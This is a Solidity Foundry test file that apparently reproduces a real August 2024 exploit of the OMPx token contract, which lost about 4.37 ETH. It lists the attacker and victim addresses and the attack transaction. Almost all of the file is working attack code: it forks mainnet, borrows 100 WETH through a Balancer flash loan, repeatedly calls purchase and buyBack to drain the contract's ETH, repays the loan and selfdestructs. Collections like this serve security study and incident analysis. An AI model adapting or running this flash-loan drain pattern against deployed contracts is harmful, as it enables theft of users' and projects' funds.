src/test/2024-08/OMPxContract_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.13;
3 
4import "forge-std/Test.sol";
5import "../interface.sol";
6 
7// @KeyInfo - Total Lost : 4.37 ETH (~11527 USD)
8// Attacker : https://etherscan.io/address/0x40d115198d71cab59668b51dd112a07d273d5831
9// Attack Contract : https://etherscan.io/address/0xfaddf57d079b01e53d1fe3476cc83e9bcc705854
10// Vulnerable Contract : https://etherscan.io/address/0x09a80172ed7335660327cd664876b5df6fe06108
11// Attack Tx : https://app.blocksec.com/explorer/tx/eth/0xd927843e30c6b2bf43103d83bca6abead648eac3cad0d05b1b0eb84cd87de9b6?line=0
12 
13// @Info
14// Vulnerable Contract Code : https://etherscan.io/address/0x09a80172ed7335660327cd664876b5df6fe06108#code
15 
16// @Analysis
17 
18 
19// Contracts involved
20address constant OMPxContract = 0x09A80172ED7335660327cD664876b5df6FE06108;
21address constant OMPX = 0x633B041C41f61D04089880D7B5C7ED0F10fF6f85;
22address constant weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
23address constant BalancerVault = 0xBA12222222228d8Ba445958a75a0704d566BF2C8;
24 
25contract OMPxContract_exp is Test {
26    address attacker = makeAddr("attacker");
27 
28    function setUp() public {
29        vm.createSelectFork("mainnet", 20_468_780 - 1);
30    }
31 
32    function testExploit() public {
33        vm.startPrank(attacker);
34 
35        emit log_named_decimal_uint("[Start] Attacker ETH balance before exploit", attacker.balance, 18);
36 
37        AttackerC attackerC = new AttackerC();
38        attackerC.attack();
39 
40        emit log_named_decimal_uint("[End] Attacker ETH balance after exploit", attacker.balance, 18);
41 
42        vm.stopPrank();
43    }
44}
45 
46contract AttackerC {
47    IBalancerVault Balancer = IBalancerVault(BalancerVault);
48 
49    function attack() public {
50        address[] memory tokens = new address[](1);
51        tokens[0] = weth;
52        uint256[] memory amounts = new uint256[](1);
53        amounts[0] = 100 ether;
54        Balancer.flashLoan(
55            address(this),
56            tokens,
57            amounts,
58            // ???
59            "0x00000000000000000000000009a80172ed7335660327cd664876b5df6fe06108000000000000000000000000633b041c41f61d04089880d7b5c7ed0f10ff6f850000000000000000000000000000000000000000000000056bc75e2d63100000"
60        );
61 
62        selfdestruct(payable(msg.sender));
63    }
64 
65    function receiveFlashLoan(
66        address[] memory tokens,
67        uint256[] memory amounts,
68        uint256[] memory feeAmounts,
69        bytes memory userData
70    ) external {
71        address w = tokens[0]; // WETH
72 
73        IWETH(payable(w)).withdraw(amounts[0]);
74 
75        for (int256 i = 0; i < 7; i++) {
76            // console.log("balanceOf OMPX: ", IERC20(OMPX).balanceOf(OMPxContract));
77            IOMPxContract(OMPxContract).purchase{value: 100 ether}(
78                IERC20(OMPX).balanceOf(OMPxContract), 10_000_000_000_000
79            );
80 
81            // console.log("balanceOf OMPX: ", IERC20(OMPX).balanceOf(address(this)));
82            IOMPxContract(OMPxContract).buyBack(IERC20(OMPX).balanceOf(address(this)), 1);
83        }
84 
85        // console.log("balance ", address(this).balance);
86        IWETH(payable(w)).deposit{value: address(this).balance}();
87 
88        // Return loan
89        // console.log("balanceOf WETH: ", IERC20(weth).balanceOf(address(this)));
90        IWETH(payable(w)).transfer(BalancerVault, amounts[0] + feeAmounts[0]);
91        // console.log("balanceOf WETH: ", IERC20(weth).balanceOf(address(this)));
92 
93        IWETH(payable(w)).withdraw(IERC20(weth).balanceOf(address(this)));
94    }
95 
96    fallback() external payable {}
97}
98 
99interface IOMPxContract {
100    // Purchase tokens to user.
101    // Money back should happens if current price is lower, then expected
102    function purchase(uint256 tokensToPurchase, uint256 maxPrice) external payable returns (uint256 tokensBought_);
103 
104    // buyback tokens from user
105    function buyBack(uint256 tokensToBuyBack, uint256 minPrice) external;
106}